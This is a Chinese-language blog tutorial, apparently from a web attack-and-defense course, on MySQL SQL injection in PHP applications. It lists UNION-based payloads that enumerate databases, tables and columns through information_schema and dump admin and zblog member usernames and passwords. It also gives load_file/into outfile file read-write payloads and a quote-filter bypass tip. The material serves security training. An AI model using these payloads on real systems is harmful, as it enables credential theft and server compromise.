首页 > 数据库 >第42天:WEB攻防-PHP应用&MYSQL架构&SQL注入&跨库查询&文件读写&权限操作 - 快捷方式

第42天:WEB攻防-PHP应用&MYSQL架构&SQL注入&跨库查询&文件读写&权限操作 - 快捷方式

时间:2024-08-28 20:16:03浏览次数:19  
标签:information name WEB 跨库 数据库 table 快捷方式 列名 schema

接受的参数值未进行过滤直接带入SQL查询

 

MYSQL注入:(目的获取当前web权限)

1、判断常见四个信息(系统,用户,数据库名,版本)

2、根据四个信息去选择方案

root用户:先测试读写,后测试获取数据

非root用户:直接测试获取数据

 

 

#PHP-MYSQL-SQL常规查询

获取相关数据:

1、数据库版本-看是否符合information_schema查询-version()

2、数据库用户-看是否符合ROOT型注入攻击-user()

3、当前操作系统-看是否支持大小写或文件路径选择-@@version_compile_os

4、数据库名字-为后期猜解指定数据库下的表,列做准备-database()

 

MYSQL5.0以上版本:自带的数据库名information_schema

information_schema:存储数据库下的数据库名及表名,列名信息的数据库

information_schema.schemata:记录数据库名信息的表

information_schema.tables:记录表名信息的表

information_schema.columns:记录列名信息表

schema_name:information_schema.schemata记录数据库名信息的列名值

table_schema:information_schema.tables记录数据库名的列名值

table_name:information_schema.tables记录表名的列名值

column_name:information_schema.columns记录列名的列名值

 

1. order by 6

这是一种常见的SQL注入测试方法,用来确定原始查询中返回的列数。如果数字6大于实际的列数,数据库会返回错误,表明查询中只有较少的列数。

2. union select 1,2,3,4,5,6

UNION操作符用于合并两个或多个SELECT语句的结果。这个语句尝试通过选择六个占位符(1, 2, 3, 4, 5, 6)来匹配原始查询的列数。如果成功,这些数字会显示在输出中,表明查询有六列。

3. union select 1,2,3,database(),user(),6

此注入语句旨在通过SQL注入攻击获取当前数据库名(database())和当前数据库用户(user())。这些值会被插入到SELECT语句的第四和第五个位置。如果成功,攻击者可以看到当前的数据库名和执行查询的数据库用户。

4. union select 1,2,3,version(),@@version_compile_os,6

此SQL注入用于获取数据库的版本信息(version())和数据库服务器运行的操作系统(@@version_compile_os)。这些信息有助于攻击者根据数据库版本和操作系统制定进一步的攻击计划。

5. union select 1,2,3,4,group_concat(table_name),6 from information_schema.tables where table_schema='demo01'

此语句试图从information_schema.tables中获取名为demo01的数据库架构中的所有表名。group_concat(table_name)函数将所有表名连接成一个字符串。结果将列出demo01数据库架构中的所有表。

6. union select 1,2,3,4,group_concat(column_name),6 from information_schema.columns where table_name='admin'

此查询用于从admin表中获取所有列名。group_concat(column_name)函数将所有列名连接成一个字符串。这可以帮助攻击者了解admin表的结构,包括列名。

7. union select 1,2,3,username,password,6 from admin limit 0,1

最后,这条语句旨在从admin表中提取usernamepassword,并限制结果只返回第一行(limit 0,1)。这可能会向攻击者提供可以用于未经授权访问的凭据。

 

#PHP-MYSQL-SQL跨库查询

影响条件:当前数据库ROOT用户权限

测试不同数据库用户:root demo

1. union select 1,2,3,4,group_concat(schema_name),6 from information_schema.schemata

  • 目的:列出数据库服务器上的所有数据库名。
  • 解释information_schema.schemata表包含了服务器上所有数据库的名称。group_concat(schema_name)函数将这些数据库名称连接成一个字符串并返回。
  • 使用场景:攻击者通过此语句可以获取当前数据库服务器上的所有数据库名,为后续的进一步攻击提供信息。

2. union select 1,2,3,4,group_concat(table_name),6 from information_schema.tables where table_schema='zblog'

  • 目的:列出zblog数据库中的所有表名。
  • 解释information_schema.tables表包含了所有表的信息。where table_schema='zblog'筛选出特定数据库(zblog)中的所有表。group_concat(table_name)函数将这些表名连接成一个字符串并返回。
  • 使用场景:通过此语句,攻击者可以了解zblog数据库中有哪些表,从而决定哪些表可能包含有价值的数据。

3. union select 1,2,3,4,group_concat(column_name),6 from information_schema.columns where table_name='zbp_member' and table_schema='zblog'

  • 目的:列出zblog数据库中zbp_member表的所有列名。
  • 解释information_schema.columns表包含了每个表的列信息。where table_name='zbp_member' and table_schema='zblog'条件指定从zblog数据库的zbp_member表中提取列名。group_concat(column_name)函数将这些列名连接成一个字符串并返回。
  • 使用场景:通过列出zbp_member表中的所有列名,攻击者可以了解表的结构,包括哪些字段存储了敏感数据(如用户名、密码等)。

4. union select 1,2,3,mem_Name,mem_Password,6 from zblog.zbp_member

  • 目的:从zblog数据库中的zbp_member表中提取用户名和密码。
  • 解释:此语句直接查询zblog数据库中的zbp_member表,提取用户的用户名(mem_Name)和密码(mem_Password)。返回的结果中包含了这些敏感数据。
  • 使用场景:这条语句是最直接的攻击方式,用于获取用户的登录信息(用户名和密码)。如果攻击成功,攻击者可能会获取到能访问系统的凭据。

#PHP-MYSQL-SQL文件读写

影响条件:

1、当前数据库用户权限

2、secure-file-priv设置

测试不同数据库用户:root demo

union select 1,load_file('d:\\1.txt'),3,4,5,6

union select 1,'xiaodi',3,4,5,6 into outfile 'd:\\2.txt'

读写的路径的问题:

1、报错显示获取路径

2、phpinfo页面泄漏

如果不知道路径思路:

利用常见的默认的中间件,数据库等安装路径读取有价值信息

 

解决:单引号过滤绕过方式

SQL注入语句中用单引号就不要编码,编码就不用单引号(路径,表名,数据库名等)

标签:information,name,WEB,跨库,数据库,table,快捷方式,列名,schema
From: https://www.cnblogs.com/CVE-2003/p/18385393

相关文章

  • 浅析WebRTC技术在智慧园区视频管理场景中的应用
    随着科技的飞速发展,智慧园区作为城市智慧化的重要组成部分,正逐步成为现代化管理的重要方向。智慧园区的建设不仅涉及硬件设施的智能化升级,还离不开高效的视频管理和实时通信技术。在这一背景下,WebRTC(WebReal-TimeCommunication)技术以其低延迟、高互动性的优势,在智慧园区的视......
  • 重塑视频监控体验:WebRTC技术如何赋能智慧工厂视频高效管理场景
    视频汇聚EasyCVR视频监控平台,作为一款智能视频监控综合管理平台,凭借其强大的视频融合汇聚能力和灵活的视频能力,在各行各业的应用中发挥着越来越重要的作用。EasyCVR平台不仅兼容多种主流标准协议及私有协议/SDK的接入(如:GB28181、RTSP/Onvif、RTMP、JT808、GA/T1400协议,海康Eh......
  • 用Python爬取地图信息被捕了?Python主要有哪些用途:Web开发、数据科学和人工智能、科学
    近日,一起关于导航电子地图“拥堵延时指数”数据权益的不正当竞争纠纷案在北京市朝阳区人民法院落下帷幕,引发热议。 爬虫确实是学习Python最有意思的一件事情,也是Python很擅长的事情之一。很多铁铁日常使用Python爬天爬地,也还有很多想学爬虫来自动获取数据。如果你正在学习......
  • webrtc的H265播放
    webrtc的H265播放播放器软解使用软解显示硬解sctp封包播放器播放器支持传递canvas、videos、div,然后底下根据参数选择可播放的元素。如果不是H265流用videos播放(调用原生api)如果是H265&&支持webcodes用videos播放(调用原生api)如果是H265&&不支持......
  • 协议汇总 TCP、UDP、Http、Socket、Web Scoket、Web Service、WCF、API
    TCP:(1)位于OSI传输层,基于soap(信封)协议;(2)数据格式是xml、Json;(3)是面向连接的,需要先建立连接;(4)TCP协议是一个可靠的传输协议,它可以保证传输的一个正确性,保证我们的不丢包不重复,而且数据是按顺序到达的,保证不丢包(握手需要三次,挥手却要四次);(5)典型的TCP/IP之上的协议有FTP、......
  • Spring Boot Web开发实践:请求与响应参数的使用方法
    主要介绍了请求响应的简单参数、实体参数、数组集合参数、日期参数、路径参数等各自的使用方法!!!文章目录前言Postman简单参数原始方式 SpringBoot方式实体参数数组集合参数日期参数 路径参数总结前言主要介绍了请求响应的简单参数、实体参数、数组集合参数......
  • Web大学生网页作业成品——香奈儿香水介绍网页设计与实现(HTML+CSS)(1个页面)
    ......
  • 在浏览器上使用transformers.js运行(WebGPU)RMBG-1.4进行抠图(背景移除)
    在浏览器上使用transformers.js运行(WebGPU)RMBG-1.4进行抠图(背景移除)说明:首次发表日期:2024-08-28官方Github仓库地址:https://github.com/xenova/transformers.js/tree/main/examples/remove-background-client准备下载onnx模型文件:https://huggingface.co/briaai/RMBG-1.......
  • 使用idea快速创建springbootWeb项目(springboot+springWeb+mybatis-Plus)
    idea快速创建springbootWeb项目详细步骤如下1)创建项目2)选择springboot版本3)添加web依赖4)添加Thymeleaf5)添加lombok依赖然后点击create进入下一步双击pom.xml文件6)添加mybatis-plus依赖        这里使用的springboot版本比较新,mybatis-plus-boot-star......